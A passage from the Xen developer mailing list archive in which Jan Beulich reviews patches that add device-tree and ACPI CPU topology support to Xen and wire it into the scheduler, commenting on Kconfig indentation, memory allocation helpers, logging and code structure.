 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 06:11:26 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49543e3afc2sm29591345e9.0.2026.07.16.06.11.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 06:11:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784207486; x=1784812286; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=zSaROcgkG6cj0208m9y/ywOsRXnd7IcrIZPbCgAXH30=;
        b=FAnuHCwibFykkalDdXz/lQMf6muNisWfl0u+XFPOnDd8JqyhDN2/3wEF82xHcAIVXx
         grLhqQCmtKA03OZojJIJC6ztgy+q0Jcb0hgFEFBgyeu80ONHsUUU4/SogqJ7yzEfa/B7
         NUlCZHaxGaGnJREnwm87kcpshOMrABudcYThA0C1oJcr+93DlBh96R2ovhsA3CZ+ZAZA
         z6SRsYbMj941ofAmRm/+B4xZcnv79N1bYSiQR/yFWJOo0XDD4E7makf1N7lo5Ghil0fG
         QG3tq0SWE0r3cE4dUUa/4Fs9SzALIUwPp5a0B2HDzGixA8HZ1t9Gc2cEKW2xLu8ajMIj
         L8wA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784207486; x=1784812286;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=zSaROcgkG6cj0208m9y/ywOsRXnd7IcrIZPbCgAXH30=;
        b=XPtGCJtVcx0SIRagurDX3Yoc9nA6+Sf7tskdbi0kOyLVkE6HdUpMGHn9HJmg+UTy17
         hKlZFRh1s80klHUNf1/cs1SYK1n6JSTtcolONd58oOKFlrRfaHcVDEAG6/rRYCvolgJO
         +kpiYubI181D+OmVp6inGauezB9PUb+rElZz/2o75VGtb9hAt/tIRAKTSTX0jUQS/+44
         0v2njMMpSaO15dlWhWza3jBVoUR9ceSiciBtZ9n+hxmmuf8Kz3aB3sio1m4BAVnh5bF9
         bLNBTGOGrlw0Aq2Mf7M6lUWZHInbAt25MHN/OAEOzAFoAwfT0RTgfhPO0ubHJ4rFO1gl
         FGCA==
X-Forwarded-Encrypted: i=1; AHgh+Rp4IY5Tc5hzYcjYkTlhsX0DCVJQIUDMg6ZmDbfjjY5AfJcew9VmL+X9C0rqC4Hlk7tvNMkbXZ5fRv8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxXhFxv8eAdNbUz1KiqdsmQMzp48BeHVu3uFOEGV178CfdF7uxv
	piiiKWOH4IOC03LQbF9UYypArKQoCYHXvSTiNkQX57mfirhpMqLWUAOgZMSQHtmQ6w==
X-Gm-Gg: AfdE7cnx0osAgt8rwkJKjv9lBtsxKYaFPw5b2IkgwC6xq2RYcHsEmtGsxBRANPrK1GG
	iH+pk72R8QsVgm6i0cDe071lmlyUl/EAk7N2G47SbmSTHaV1sVopGgGUzPcpZTtdtjOhSSz3Dgd
	3Esf70JeZ4NNXYpUbNMe6xXgYBApfOk8AbGE2Ln+I3Q5mhBI7wBjqHWCh5x5gLFRUvP27WPTkVw
	jZJZ9g9Wx/iFe4b7veYP9Tqv9Sk2F6V5gmgnCBgRtL6A0tHSVr3+taymimGRaLsrllpO4RW7PK2
	fvpb23u5guxPJZeYxvoB+7NruZOSuaBcZeSD/URUDWdd7I1ZAl9XmbgMYkL3SjolSkeeqRucofW
	FArYtzMJOOEk9FUCJDJ5AJlHCLs2SwFWSWlKrtFeaxbKbpetM+zOJ59fZEBb9/UJXBdqMTb2AEk
	4cRUWtJuyWPn8q9BE/26Vz3rvI2Bn7ZlGgNkD2dVU2onusp1kloV/9o5A9fekjvGtfgw==
X-Received: by 2002:a05:600c:1d9a:b0:493:c535:3934 with SMTP id 5b1f17b1804b1-495384a43aemr134954275e9.36.1784207486092;
        Thu, 16 Jul 2026 06:11:26 -0700 (PDT)
Message-ID: <e7eeeebc-5829-47db-96d0-2f804dcd4356@suse.com>
Date: Thu, 16 Jul 2026 15:11:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVB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MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260714104445.919830-2-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1784207486-583CCCFC-63136C51/0/0
X-purgate-type: clean
X-purgate-size: 5233

On 14.07.2026 12:44, Hirokazu Takahashi wrote:
> --- a/xen/common/Kconfig
> +++ b/xen/common/Kconfig
> @@ -140,6 +140,9 @@ config HAS_EX_TABLE
>  config HAS_FAST_MULTIPLY
>  	bool
>  
> +config HAS_GENERIC_CPU_TOPOLOGY
> +	bool

You've got indentation right here and ...

> @@ -191,6 +194,25 @@ config VM_EVENT
>  config NEEDS_LIBELF
>  	bool
>  
> +config GENERIC_CPU_TOPOLOGY
> +	bool

... here. Why not ...

> +config DT_CPU_TOPOLOGY
> +    bool "Device tree based CPU topology support (UNSUPPORTED)" if UNSUPPORTED
> +    depends on HAS_GENERIC_CPU_TOPOLOGY && DEVICE_TREE_PARSE
> +    select GENERIC_CPU_TOPOLOGY
> +    help
> +      Retrieve CPU topology information from the device tree to optimize
> +      virtual CPU scheduling.
> +
> +config ACPI_CPU_TOPOLOGY
> +    bool "ACPI based CPU topology support (UNSUPPORTED)" if UNSUPPORTED
> +    depends on HAS_GENERIC_CPU_TOPOLOGY && ACPI
> +    select GENERIC_CPU_TOPOLOGY
> +    help
> +      Retrieve CPU topology information from the ACPI PPTT to optimize
> +      virtual CPU scheduling.

... throughout here?

I'm also a little puzzled by the "if UNSUPPORTED" on the prompts. Imo that
would better be normal "depends on UNSUPPORTED". The situation is different
in e.g. common/sched/Kconfig, where the default value may be Y (with the
prompt being invisible making it impossible to turn off the option).

Also may I suggest s/virtual CPU/vCPU/ ?

> --- /dev/null
> +++ b/xen/common/cpu-topology.c
> @@ -0,0 +1,65 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +#include <xen/acpi.h>
> +#include <xen/cpu-topology.h>
> +#include <xen/cpumask.h>
> +#include <xen/dt-cpu-topology.h>
> +#include <xen/init.h>
> +
> +static void __init free_topology_table(void)
> +{
> +    unsigned int cpu;
> +
> +    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
> +    {
> +        free_cpumask_var(cpu_topology[cpu].thread_sibling);
> +        free_cpumask_var(cpu_topology[cpu].core_sibling);
> +        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
> +    }
> +
> +    XFREE(cpu_topology);

XVFREE(), as it wants to be ...

> +}
> +
> +void __init init_cpu_topology(void)
> +{
> +    unsigned int cpu;
> +    int ret;
> +
> +    cpu_topology = xzalloc_array(struct cpu_topology, nr_cpu_ids);

--- xvzalloc_array() here.

> +    if ( !cpu_topology )
> +    {
> +        printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");

Is this really an error (irrespective of whether this then also needs
logging)? There may not be any topology information to retrieve, in which
case the allocation failure is benign.

> +        return;
> +    }
> +
> +    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
> +    {
> +        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling) ||
> +             !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling) ||
> +             !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
> +        {
> +            free_topology_table();
> +            printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");

Same here then obviously. Also please respect line length constraints. Don't
split format strings, but splitting XENLOG_* off the string literal is fine.

> --- a/xen/common/cpu.c
> +++ b/xen/common/cpu.c
> @@ -46,6 +46,11 @@ const unsigned long cpu_bit_bitmap[BITS_PER_LONG+1][BITS_TO_LONGS(NR_CPUS)] = {
>  #undef MASK_DECLARE_2
>  #undef MASK_DECLARE_1
>  
> +#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
> +struct cpu_topology;

Why would this be needed?

> +struct cpu_topology *__ro_after_init cpu_topology;

This includes the same effect.

> --- /dev/null
> +++ b/xen/common/device-tree/cpu-topology.c
> @@ -0,0 +1,343 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +/*
> + * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
> + * Parse cpu topology information.
> + */
> +
> +#include <xen/acpi.h>
> +#include <xen/cpu-topology.h>
> +#include <xen/cpumask.h>
> +#include <xen/device_tree.h>
> +#include <xen/errno.h>
> +#include <xen/init.h>
> +
> +#define INVALID_TOPO_ID (~0U)
> +
> +struct cpu_map {
> +    unsigned int thread_id;
> +    unsigned int core_id;
> +    unsigned int cluster_id;
> +    unsigned int package_id;
> +};
> +
> +static struct cpu_map __initdata cpu_map[NR_CPUS] = {
> +    [0 ... NR_CPUS - 1] = {INVALID_TOPO_ID, INVALID_TOPO_ID,
> +                           INVALID_TOPO_ID, INVALID_TOPO_ID}

I think it would be nice if this properly used designated initializers
throughout. A trailing comma (twice) would also be nice.

> +static struct dt_device_node *__init dt_find_child_node_by_name(
> +    const struct dt_device_node *dt,
> +    const char *name)
> +{
> +    struct dt_device_node *np;

Is there a reason this cannot be pointer-to-const?

> --- a/xen/drivers/acpi/Makefile
> +++ b/xen/drivers/acpi/Makefile
> @@ -10,3 +10,4 @@ obj-$(CONFIG_PM_OP) += pm-op.o
>  
>  obj-$(CONFIG_X86) += hwregs.o
>  obj-$(CONFIG_X86) += reboot.o
> +obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o

As before, I'd prefer if this was appended to the earlier group of objects.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 13:27:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 13:27:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364034.1615404 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkM71-0003pO-2g; Thu, 16 Jul 2026 13:26:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364034.1615404; Thu, 16 Jul 2026 13:26:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkM70-0003pH-WA; Thu, 16 Jul 2026 13:26:50 +0000
Received: by outflank-mailman (input) for mailman id 1364034;
 Thu, 16 Jul 2026 13:26:49 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkM6z-0003pB-EA
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 13:26:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkM6y-000mze-N1
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:26:48 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58dc10-e002-0a2a0a5209dd-0a2a4509d73e-26
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:26:48 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58dc18-be1a-0a2a45090019-d155802ee5fa-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:26:48 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493ae59eca6so17566705e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 06:26:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49541eb7372sm79477175e9.13.2026.07.16.06.26.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 06:26:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784208408; x=1784813208; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=HTvK4TPKg2ozyQ9fdUuBYzC4rP8XNTi2PY1dx0Crvpk=;
        b=JUeCYmcp5JYbxUquneh6ihM2rS9onetw3gS+G0gzOqdqd5GGx6Pv+neIthY522y9BA
         FHAx2RfJmXKBU+scO9Ke31FIWEvNnmbP5V24H5URX8MjDlnoX1o3RVewe73bdJXObkK+
         +Ex2pq2821/pwsKrwklptLmr1vTHCHt7ieNAyXtHoWuR28xhfJFaEdfKfX/FTp3tcLVF
         MQlc0t54bCqE4JmwQbH3GUX8cL70PIs8bO/0wURoiPCMktHEVENJhjuWdqqU7Dm1QEQ4
         saisN1fzYvwEgCSHZINqqNWd3l3rgNb+Ok0a4uyk+i993CsZ4swdsx6JvzYgOyVz2qYs
         kT2w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784208408; x=1784813208;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=HTvK4TPKg2ozyQ9fdUuBYzC4rP8XNTi2PY1dx0Crvpk=;
        b=pfblWN2DyVsSFS+O6q97TmnNWu9ztvLb3XrBpDDobM3nk/nvpVgtqKJWImps6zXyi+
         Zr7DncBLzqoUHu2WxXxG4VYTJEOFvhxNf5G/pM4WyPaZGoyk6AsTkf+u/akNMy6Hy1ii
         4LxeduN3i5cIJ1CMuOnFEOuwARnkiRv6qSRjZV2DM3Ik1t83w2MNNIAr+p6HdtPZkGKh
         Jc5cjx09MrZ16faw/NvTwgqrD+tViwHXSvIo50aYJHCkY8ctPGYEYan0VVk+On8B0oj/
         2MdNCv2oFJLfXu4whyaXcQHl4jbVXwVC1VNuLwgzwREkuzramPhoz9FkF74TZbFwz1BI
         sdPQ==
X-Forwarded-Encrypted: i=1; AHgh+RrMMyJnWPQG5WOh9eTFeRmF2z6r8ugesHs1yIn3PhwsclM3tW5NY0ypDxYw9DGZsUL3u2iXC6Jj9Es=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzEuw/izD01SzUSSsgNhTGM//MX/kOlEikbB+3KsN7Hf8mqfZ6P
	cEcVYLVNTXXdqeTsA+iK1Q86baqAkiyOf8e0b/UwupddvUl78JvXcXYIaDpha72xLw==
X-Gm-Gg: AfdE7cmCdKBPj/fJG2KzQbr6GNvVnwtJLqQ4SFNgsdaZUOO8yW7QedToelX4ejxhbIz
	ugaaENXISy7BrqWXB+ZGyzopyYjMg1An2Yj1CX52O80q9kg6wRQm1fnfP0wyGu2a+4e/VkzL2/+
	P+D/uWZ0Cfi51GNuKDVqJHfQEcnY82Fw8syjxhixnQ43CiJJMnsq3jq0hCYjKMiiyN50u4LHDQK
	HWO4eT2mQq2dcEJ81VNtWevThtSZTZug0f0IhB8ooDifV7kDdwDb4b9yu0zueWC7CAdEbi7OmhG
	Pu78GhxsKH/LB5vJX0hxVpN7MrM7XGxwmEE0DoY1+8RZtmGWZOxO+ijrOJD5VMmiCG87Bxgtq9b
	snSgKz3sFJD57B4oyrsQCsS15Z5eIlLVZWh1Y4GZzad7lVGsM/LOxEb7ENtvo0fKswaETF/1Xl+
	tnVlJ8TMNJIlyNdgGdrBSJ5/stZ1T972gbcgsT6K7Lh01AXoN45GzxUv70ZtgFu621uA==
X-Received: by 2002:a05:600c:5292:b0:493:e6f7:ad75 with SMTP id 5b1f17b1804b1-493f87e6d4cmr239514855e9.11.1784208407797;
        Thu, 16 Jul 2026 06:26:47 -0700 (PDT)
Message-ID: <f4c13b73-719f-4d3f-be60-803fff8d0893@suse.com>
Date: Thu, 16 Jul 2026 15:26:46 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 2/5] xen/sched: Link CPU topology to scheduler
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dario Faggioli <dfaggioli@suse.com>, Juergen Gross <jgross@suse.com>,
 George Dunlap <gwd@xenproject.org>, xen-devel@lists.xenproject.org
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-3-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260714104445.919830-3-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1784208408-FD668034-6FA1C4E0/0/0
X-purgate-type: clean
X-purgate-size: 2493

On 14.07.2026 12:44, Hirokazu Takahashi wrote:
> @@ -35,7 +36,9 @@
>   */
>  static unsigned int cpu_nr_siblings(unsigned int cpu)
>  {
> -#ifdef CONFIG_X86
> +#if defined(CONFIG_GENERIC_CPU_TOPOLOGY)
> +    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
> +#elif defined(CONFIG_X86)
>      return cpu_data[cpu].x86_num_siblings;
>  #else
>      return 1;

Now that this is ordered more sensibly, an issue is becoming apparent: If and
when x86 also supports GENERIC_CPU_TOPOLOGY, the present x86 logic should also
be engaged when !cpu_topology. By re-arranging accordingly, you also avoid the
need to duplicate the literal 1.

> @@ -11,15 +22,48 @@ struct cpu_topology {
>      cpumask_var_t thread_sibling;
>      cpumask_var_t core_sibling;
>      cpumask_var_t cluster_sibling;
> +    unsigned int phys_core_id;
> +    unsigned int phys_cluster_id;
> +    unsigned int phys_socket_id;
> +    unsigned int num_siblings;
>  };
>  
>  extern struct cpu_topology *cpu_topology;
>  void init_cpu_topology(void);
>  
> +static inline void init_cpu_sibling_map(unsigned int cpu)
> +{
> +    if ( cpu_topology )
> +    {
> +        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
> +                     cpu_topology[cpu].thread_sibling);
> +        cpumask_copy(per_cpu(cpu_core_mask, cpu),
> +                     cpu_topology[cpu].core_sibling);
> +    }
> +    else
> +        init_cpu_sibling_map_default(cpu);
> +}

Personally I consider this already being too redundant with ...

> +#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
> +#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
> +
>  #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
>  
>  static inline void init_cpu_topology(void) {}
>  
> +static inline void init_cpu_sibling_map(unsigned int cpu)
> +{
> +    init_cpu_sibling_map_default(cpu);
> +}

... this. Imo it would better be

static inline void init_cpu_sibling_map(unsigned int cpu)
{
    if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) && cpu_topology )
    {
        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
                     cpu_topology[cpu].thread_sibling);
        cpumask_copy(per_cpu(cpu_core_mask, cpu),
                     cpu_topology[cpu].core_sibling);
    }
    else
        init_cpu_sibling_map_default(cpu);
}

Which then of course requires the decl of cpu_topology (not its definition) to
always be visible.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 13:30:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 13:30:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364043.1615414 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMA3-0004Pw-Fu; Thu, 16 Jul 2026 13:29:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364043.1615414; Thu, 16 Jul 2026 13:29:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMA3-0004Pp-Cp; Thu, 16 Jul 2026 13:29:59 +0000
Received: by outflank-mailman (input) for mailman id 1364043;
 Thu, 16 Jul 2026 13:29:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkMA1-0004Pj-O1
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 13:29:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMA0-006RpK-QC
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:29:56 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58dcc9-e002-0a2a0a5209dd-0a2a4507db32-30
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:29:56 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58dcd4-b4ea-0a2a45070019-d155802ad9b0-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:29:56 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493f0ae9572so27436385e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 06:29:56 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
